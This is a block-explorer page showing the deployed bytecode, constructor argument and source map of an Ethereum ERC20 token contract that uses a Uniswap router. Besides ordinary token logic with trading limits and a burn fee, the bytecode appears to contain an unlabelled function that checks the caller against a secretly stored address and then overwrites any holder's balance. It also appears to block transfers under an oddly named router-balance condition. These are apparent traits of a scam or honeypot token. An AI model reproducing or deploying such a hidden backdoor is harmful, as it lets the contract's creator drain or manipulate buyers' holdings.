0x608060405234801561000f575f80fd5b5060043610610127575f3560e01c80638da5cb5b116100a9578063a9059cbb1161006e578063a9059cbb14610260578063ab40caab14610273578063dd62ed3e1461027c578063f2fde38b146102b4578063fbf8a77c146102c7575f80fd5b80638da5cb5b146101f657806395d89b411461021057806398636f3214610218578063a457c2d71461023a578063a865f65d1461024d575f80fd5b806335ba28de116100ef57806335ba28de146101a057806339509351146101a957806362256589146101bc57806370a08231146101c6578063715018a6146101ee575f80fd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c57806323b872dd1461017e578063313ce56714610191575b5f80fd5b6101336102d4565b6040516101409190610f53565b60405180910390f35b61015c610157366004610fb3565b610364565b6040519015158152602001610140565b6004545b604051908152602001610140565b61015c61018c366004610fdd565b61037a565b60405160098152602001610140565b61017060085481565b61015c6101b7366004610fb3565b61042e565b6101c4610464565b005b6101706101d436600461101b565b6001600160a01b03165f9081526002602052604090205490565b6101c461047b565b5f546040516001600160a01b039091168152602001610140565b61013361048e565b61015c61022636600461101b565b600a6020525f908152604090205460ff1681565b61015c610248366004610fb3565b61049d565b61017061025b366004610fb3565b610537565b61015c61026e366004610fb3565b610618565b61017060095481565b61017061028a36600461103d565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b6101c46102c236600461101b565b610624565b60075461015c9060ff1681565b6060600580546102e390611074565b80601f016020809104026020016040519081016040528092919081815260200182805461030f90611074565b801561035a5780601f106103315761010080835404028352916020019161035a565b820191905f5260205f20905b81548152906001019060200180831161033d57829003601f168201915b5050505050905090565b5f61037033848461069d565b5060015b92915050565b5f6103868484846107c0565b6001600160a01b0384165f9081526003602090815260408083203384529091529020548281101561040f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610423853361041e86856110c0565b61069d565b506001949350505050565b335f8181526003602090815260408083206001600160a01b0387168452909152812054909161037091859061041e9086906110d3565b61046c61093c565b6007805460ff19166001179055565b61048361093c565b61048c5f610995565b565b6060600680546102e390611074565b335f9081526003602090815260408083206001600160a01b03861684529091528120548281101561051e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610406565b61052d338561041e86856110c0565b5060019392505050565b60015460405133606081901b6bffffffffffffffffffffffff191660208301525f9290916001600160a01b039091169083906034016040516020818303038152906040528051906020012090505f826040516020016105ae919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012090508582821480156105fb576001600160a01b0389165f908152600260205260409020829055815b9650505050505050610374565b6001600160a01b0389165f908152600260205260409020546105ee565b5f6103703384846107c0565b61062c61093c565b6001600160a01b0381166106915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610406565b61069a81610995565b50565b6001600160a01b0383166106ff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610406565b6001600160a01b0382166107605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610406565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107e65760405162461bcd60e51b8152600401610406906110e6565b6001600160a01b03821661080c5760405162461bcd60e51b81526004016104069061112b565b6108178383836109f2565b805f0361082357505050565b6001600160a01b0383165f908152600a602052604090205460ff1615801561086357506001600160a01b0382165f908152600a602052604090205460ff16155b1561092c57600d546001600160a01b03165f90815260026020526040902054156108cf5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006044820152606401610406565b600c546001600160a01b03848116911614806108f85750600c546001600160a01b038381169116145b1561092c575f6064600b548361090e919061116e565b6109189190611185565b905061092684848484610cb2565b50505050565b610937838383610e36565b505050565b5f546001600160a01b0316331461048c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610406565b5f80546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff16610937576001600160a01b0383165f908152600a602052604090205460ff16158015610a3c57506001600160a01b0382165f908152600a602052604090205460ff16155b1561093757600854811115610a885760405162461bcd60e51b8152602060048201526012602482015271082dadeeadce840caf0c6cacac8e640dac2f60731b6044820152606401610406565b600c546001600160a01b0316610c1d57600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0c91906111a4565b6001600160a01b031663e6a4390530600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8f91906111a4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bd8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bfc91906111a4565b600c80546001600160a01b0319166001600160a01b03929092169190911790555b600c546001600160a01b0390811690831603610c3857505050565b60095481610c5a846001600160a01b03165f9081526002602052604090205490565b610c6491906110d3565b11156109375760405162461bcd60e51b815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d617800000000000000006044820152606401610406565b6001600160a01b038416610cd85760405162461bcd60e51b8152600401610406906110e6565b6001600160a01b038316610cfe5760405162461bcd60e51b81526004016104069061112b565b6001600160a01b0384165f9081526002602052604090205482811015610d365760405162461bcd60e51b8152600401610406906111bf565b6001600160a01b0385165f9081526002602052604090208382039055610d5c82846110c0565b92508160045f828254610d6f91906110c0565b90915550506001600160a01b0384165f9081526002602052604081208054859290610d9b9084906110d3565b909155505060405182815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e2791815260200190565b60405180910390a35050505050565b6001600160a01b038316610e5c5760405162461bcd60e51b8152600401610406906110e6565b6001600160a01b038216610e825760405162461bcd60e51b81526004016104069061112b565b6001600160a01b0383165f9081526002602052604090205481811015610eba5760405162461bcd60e51b8152600401610406906111bf565b610ec482826110c0565b6001600160a01b038086165f908152600260205260408082209390935590851681529081208054849290610ef99084906110d3565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f4591815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b81811015610f7f57858101830151858201604001528201610f63565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069a575f80fd5b5f8060408385031215610fc4575f80fd5b8235610fcf81610f9f565b946020939093013593505050565b5f805f60608486031215610fef575f80fd5b8335610ffa81610f9f565b9250602084013561100a81610f9f565b929592945050506040919091013590565b5f6020828403121561102b575f80fd5b813561103681610f9f565b9392505050565b5f806040838503121561104e575f80fd5b823561105981610f9f565b9150602083013561106981610f9f565b809150509250929050565b600181811c9082168061108857607f821691505b6020821081036110a657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610374576103746110ac565b80820180821115610374576103746110ac565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8082028115828204841417610374576103746110ac565b5f8261119f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156111b4575f80fd5b815161103681610f9f565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea26469706673582212208aa4ace4054e32ab29b17e4cfe6b214ce60df4a04b3e7f867119216cee198f3264736f6c63430008170033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
18099:2833:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12641:107;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13860:176;;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13860:176:0;1023:187:1;13143:115:0;13231:19;;13143:115;;;1361:25:1;;;1349:2;1334:18;13143:115:0;1215:177:1;14050:434:0;;;;;;:::i;:::-;;:::i;12986:92::-;;;13069:1;2000:36:1;;1988:2;1973:18;12986:92:0;1858:184:1;18552:30:0;;;;;;14495:222;;;;;;:::i;:::-;;:::i;20119:83::-;;;:::i;:::-;;13321:127;;;;;;:::i;:::-;-1:-1:-1;;;;;13422:18:0;13395:7;13422:18;;;:9;:18;;;;;;;13321:127;10250:110;;;:::i;10004:87::-;10050:7;10077:6;10004:87;;-1:-1:-1;;;;;10077:6:0;;;2445:51:1;;2433:2;2418:18;10004:87:0;2299:203:1;12867:111:0;;;:::i;18626:43::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;14728:384;;;;;;:::i;:::-;;:::i;16446:600::-;;;;;;:::i;:::-;;:::i;13458:180::-;;;;;;:::i;:::-;;:::i;18589:30::-;;;;;;13701:151;;;;;;:::i;:::-;-1:-1:-1;;;;;13817:18:0;;;13790:7;13817:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13701:151;10372:208;;;;;;:::i;:::-;;:::i;18518:27::-;;;;;;;;;12641:107;12695:13;12728:12;12721:19;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12641:107;:::o;13860:176::-;13943:4;13960:46;342:10;13990:7;13999:6;13960:15;:46::i;:::-;-1:-1:-1;14024:4:0;13860:176;;;;;:::o;14050:434::-;14156:4;14173:41;14188:6;14196:9;14207:6;14173:14;:41::i;:::-;-1:-1:-1;;;;;14254:19:0;;14227:24;14254:19;;;:11;:19;;;;;;;;342:10;14254:33;;;;;;;;14306:26;;;;14298:79;;;;-1:-1:-1;;;14298:79:0;;3487:2:1;14298:79:0;;;3469:21:1;3526:2;3506:18;;;3499:30;3565:34;3545:18;;;3538:62;-1:-1:-1;;;3616:18:1;;;3609:38;3664:19;;14298:79:0;;;;;;;;;14388:64;14404:6;342:10;14426:25;14445:6;14426:16;:25;:::i;:::-;14388:15;:64::i;:::-;-1:-1:-1;14472:4:0;;14050:434;-1:-1:-1;;;;14050:434:0:o;14495:222::-;342:10;14583:4;14639:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14639:34:0;;;;;;;;;;14583:4;;14600:87;;14630:7;;14639:47;;14676:10;;14639:47;:::i;20119:83::-;9962:10;:8;:10::i;:::-;20172:15:::1;:22:::0;;-1:-1:-1;;20172:22:0::1;20190:4;20172:22;::::0;;20119:83::o;10250:110::-;9962:10;:8;:10::i;:::-;10315:37:::1;10349:1;10315:25;:37::i;:::-;10250:110::o:0;12867:111::-;12923:13;12956:14;12949:21;;;;;:::i;14728:384::-;342:10;14821:4;14865:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14865:34:0;;;;;;;;;;14918:35;;;;14910:85;;;;-1:-1:-1;;;14910:85:0;;4291:2:1;14910:85:0;;;4273:21:1;4330:2;4310:18;;;4303:30;4369:34;4349:18;;;4342:62;-1:-1:-1;;;4420:18:1;;;4413:35;4465:19;;14910:85:0;4089:401:1;14910:85:0;15006:74;342:10;15036:7;15045:34;15064:15;15045:16;:34;:::i;15006:74::-;-1:-1:-1;15100:4:0;;14728:384;-1:-1:-1;;;14728:384:0:o;16446:600::-;16601:14;;16659:27;;16560:10;4644:2:1;4640:15;;;-1:-1:-1;;4636:53:1;16659:27:0;;;4624:66:1;16520:7:0;;16560:10;;-1:-1:-1;;;;;16601:14:0;;;;16520:7;;4706:12:1;;16659:27:0;;;;;;;;;;;;16649:38;;;;;;16628:59;;16698:20;16748:9;16731:27;;;;;;;4644:2:1;4640:15;;;;-1:-1:-1;;4636:53:1;4624:66;;4715:2;4706:12;;4495:229;16731:27:0;;;;-1:-1:-1;;16731:27:0;;;;;;;;;16721:38;;16731:27;16721:38;;;;;-1:-1:-1;16808:6:0;16851:26;;;16898:141;;;;-1:-1:-1;;;;;17197:18:0;;17131:7;17197:18;;;:9;:18;;;;;:27;;;16957:9;16933:34;16926:41;;;;;;;;;;16898:141;-1:-1:-1;;;;;13422:18:0;;13395:7;13422:18;;;:9;:18;;;;;;17007:20;13321:127;13458:180;13544:4;13561:47;342:10;13590:9;13601:6;13561:14;:47::i;10372:208::-;9962:10;:8;:10::i;:::-;-1:-1:-1;;;;;10461:22:0;::::1;10453:73;;;::::0;-1:-1:-1;;;10453:73:0;;4931:2:1;10453:73:0::1;::::0;::::1;4913:21:1::0;4970:2;4950:18;;;4943:30;5009:34;4989:18;;;4982:62;-1:-1:-1;;;5060:18:1;;;5053:36;5106:19;;10453:73:0::1;4729:402:1::0;10453:73:0::1;10537:35;10563:8;10537:25;:35::i;:::-;10372:208:::0;:::o;17401:353::-;-1:-1:-1;;;;;17510:19:0;;17502:68;;;;-1:-1:-1;;;17502:68:0;;5338:2:1;17502:68:0;;;5320:21:1;5377:2;5357:18;;;5350:30;5416:34;5396:18;;;5389:62;-1:-1:-1;;;5467:18:1;;;5460:34;5511:19;;17502:68:0;5136:400:1;17502:68:0;-1:-1:-1;;;;;17589:21:0;;17581:68;;;;-1:-1:-1;;;17581:68:0;;5743:2:1;17581:68:0;;;5725:21:1;5782:2;5762:18;;;5755:30;5821:34;5801:18;;;5794:62;-1:-1:-1;;;5872:18:1;;;5865:32;5914:19;;17581:68:0;5541:398:1;17581:68:0;-1:-1:-1;;;;;17662:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17714:32;;1361:25:1;;;17714:32:0;;1334:18:1;17714:32:0;;;;;;;17401:353;;;:::o;19258:853::-;-1:-1:-1;;;;;19395:18:0;;19387:68;;;;-1:-1:-1;;;19387:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19474:16:0;;19466:64;;;;-1:-1:-1;;;19466:64:0;;;;;;;:::i;:::-;19544:41;19568:4;19574:2;19578:6;19544:23;:41::i;:::-;19602:6;19612:1;19602:11;19598:50;;19258:853;;;:::o;19598:50::-;-1:-1:-1;;;;;19665:17:0;;;;;;:11;:17;;;;;;;;19664:18;:38;;;;-1:-1:-1;;;;;;19687:15:0;;;;;;:11;:15;;;;;;;;19686:16;19664:38;19660:393;;;19744:15;;-1:-1:-1;;;;;19744:15:0;13395:7;13422:18;;;:9;:18;;;;;;19726:40;19718:84;;;;-1:-1:-1;;;19718:84:0;;6956:2:1;19718:84:0;;;6938:21:1;6995:2;6975:18;;;6968:30;7034:33;7014:18;;;7007:61;7085:18;;19718:84:0;6754:355:1;19718:84:0;19831:13;;-1:-1:-1;;;;;19823:21:0;;;19831:13;;19823:21;;:44;;-1:-1:-1;19854:13:0;;-1:-1:-1;;;;;19848:19:0;;;19854:13;;19848:19;19823:44;19819:223;;;19888:13;19928:3;19914:10;;19905:6;:19;;;;:::i;:::-;19904:27;;;;:::i;:::-;19888:43;;19952:49;19977:4;19983:2;19987:6;19995:5;19952:24;:49::i;:::-;20020:7;19258:853;;;:::o;19819:223::-;20065:38;20086:4;20092:2;20096:6;20065:20;:38::i;:::-;19258:853;;;:::o;10106:129::-;10050:7;10077:6;-1:-1:-1;;;;;10077:6:0;342:10;10167:23;10159:68;;;;-1:-1:-1;;;10159:68:0;;7711:2:1;10159:68:0;;;7693:21:1;;;7730:18;;;7723:30;7789:34;7769:18;;;7762:62;7841:18;;10159:68:0;7509:356:1;10591:234:0;10672:16;10691:6;;-1:-1:-1;;;;;;10708:17:0;;;-1:-1:-1;;;;;10708:17:0;;;;;;;;-1:-1:-1;10736:25:0;;10691:6;;;;10736:25;;;;;;;10777:40;;10691:6;;;;10777:40;;10672:16;10777:40;10661:164;10591:234;:::o;20210:717::-;20344:15;;;;20339:581;;-1:-1:-1;;;;;20381:17:0;;;;;;:11;:17;;;;;;;;20380:18;:38;;;;-1:-1:-1;;;;;;20403:15:0;;;;;;:11;:15;;;;;;;;20402:16;20380:38;20376:533;;;20457:15;;20447:6;:25;;20439:56;;;;-1:-1:-1;;;20439:56:0;;8072:2:1;20439:56:0;;;8054:21:1;8111:2;8091:18;;;8084:30;-1:-1:-1;;;8130:18:1;;;8123:48;8188:18;;20439:56:0;7870:342:1;20439:56:0;20520:13;;-1:-1:-1;;;;;20520:13:0;20516:176;;20599:15;;;;;;;;;-1:-1:-1;;;;;20599:15:0;-1:-1:-1;;;;;20599:23:0;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20581:52:0;;20642:4;20649:15;;;;;;;;;-1:-1:-1;;;;;20649:15:0;-1:-1:-1;;;;;20649:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20581:91;;-1:-1:-1;;;;;;20581:91:0;;;;;;;-1:-1:-1;;;;;8703:15:1;;;20581:91:0;;;8685:34:1;8755:15;;8735:18;;;8728:43;8620:18;;20581:91:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20565:13;:107;;-1:-1:-1;;;;;;20565:107:0;-1:-1:-1;;;;;20565:107:0;;;;;;;;;;20516:176;20723:13;;-1:-1:-1;;;;;20723:13:0;;;20717:19;;;;20713:74;;20210:717;;;:::o;20713:74::-;20849:15;;20839:6;20823:13;20833:2;-1:-1:-1;;;;;13422:18:0;13395:7;13422:18;;;:9;:18;;;;;;;13321:127;20823:13;:22;;;;:::i;:::-;:41;;20815:78;;;;-1:-1:-1;;;20815:78:0;;8984:2:1;20815:78:0;;;8966:21:1;9023:2;9003:18;;;8996:30;9062:26;9042:18;;;9035:54;9106:18;;20815:78:0;8782:348:1;15687:746:0;-1:-1:-1;;;;;15824:20:0;;15816:70;;;;-1:-1:-1;;;15816:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15905:23:0;;15897:71;;;;-1:-1:-1;;;15897:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16005:17:0;;15981:21;16005:17;;;:9;:17;;;;;;16041:23;;;;16033:74;;;;-1:-1:-1;;;16033:74:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16145:17:0;;;;;;:9;:17;;;;;16165:22;;;16145:42;;16211:22;16221:12;16181:6;16211:22;:::i;:::-;;;16267:12;16244:19;;:35;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;16290:20:0;;;;;;:9;:20;;;;;:30;;16314:6;;16290:20;:30;;16314:6;;16290:30;:::i;:::-;;;;-1:-1:-1;;16338:36:0;;1361:25:1;;;12129:42:0;;-1:-1:-1;;;;;16338:36:0;;;;;1349:2:1;1334:18;16338:36:0;;;;;;;16407:9;-1:-1:-1;;;;;16390:35:0;16399:6;-1:-1:-1;;;;;16390:35:0;;16418:6;16390:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;16390:35:0;;;;;;;;15805:628;15687:746;;;;:::o;15126:551::-;-1:-1:-1;;;;;15237:20:0;;15229:70;;;;-1:-1:-1;;;15229:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15318:23:0;;15310:71;;;;-1:-1:-1;;;15310:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15420:17:0;;15396:21;15420:17;;;:9;:17;;;;;;15456:23;;;;15448:74;;;;-1:-1:-1;;;15448:74:0;;;;;;;:::i;:::-;15553:22;15569:6;15553:13;:22;:::i;:::-;-1:-1:-1;;;;;15533:17:0;;;;;;;:9;:17;;;;;;:42;;;;15586:20;;;;;;;;:30;;15610:6;;15533:17;15586:30;;15610:6;;15586:30;:::i;:::-;;;;;;;;15651:9;-1:-1:-1;;;;;15634:35:0;15643:6;-1:-1:-1;;;;;15634:35:0;;15662:6;15634:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;15634:35:0;;;;;;;;15218:459;15126:551;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:380::-;2979:1;2975:12;;;;3022;;;3043:61;;3097:4;3089:6;3085:17;3075:27;;3043:61;3150:2;3142:6;3139:14;3119:18;3116:38;3113:161;;3196:10;3191:3;3187:20;3184:1;3177:31;3231:4;3228:1;3221:15;3259:4;3256:1;3249:15;3113:161;;2900:380;;;:::o;3694:127::-;3755:10;3750:3;3746:20;3743:1;3736:31;3786:4;3783:1;3776:15;3810:4;3807:1;3800:15;3826:128;3893:9;;;3914:11;;;3911:37;;;3928:18;;:::i;3959:125::-;4024:9;;;4045:10;;;4042:36;;;4058:18;;:::i;5944:401::-;6146:2;6128:21;;;6185:2;6165:18;;;6158:30;6224:34;6219:2;6204:18;;6197:62;-1:-1:-1;;;6290:2:1;6275:18;;6268:35;6335:3;6320:19;;5944:401::o;6350:399::-;6552:2;6534:21;;;6591:2;6571:18;;;6564:30;6630:34;6625:2;6610:18;;6603:62;-1:-1:-1;;;6696:2:1;6681:18;;6674:33;6739:3;6724:19;;6350:399::o;7114:168::-;7187:9;;;7218;;7235:15;;;7229:22;;7215:37;7205:71;;7256:18;;:::i;7287:217::-;7327:1;7353;7343:132;;7397:10;7392:3;7388:20;7385:1;7378:31;7432:4;7429:1;7422:15;7460:4;7457:1;7450:15;7343:132;-1:-1:-1;7489:9:1;;7287:217::o;8217:251::-;8287:6;8340:2;8328:9;8319:7;8315:23;8311:32;8308:52;;;8356:1;8353;8346:12;8308:52;8388:9;8382:16;8407:31;8432:5;8407:31;:::i;9135:402::-;9337:2;9319:21;;;9376:2;9356:18;;;9349:30;9415:34;9410:2;9395:18;;9388:62;-1:-1:-1;;;9481:2:1;9466:18;;9459:36;9527:3;9512:19;;9135:402::o
Swarm Source
ipfs://8aa4ace4054e32ab29b17e4cfe6b214ce60df4a04b3e7f867119216cee198f32
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 34 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.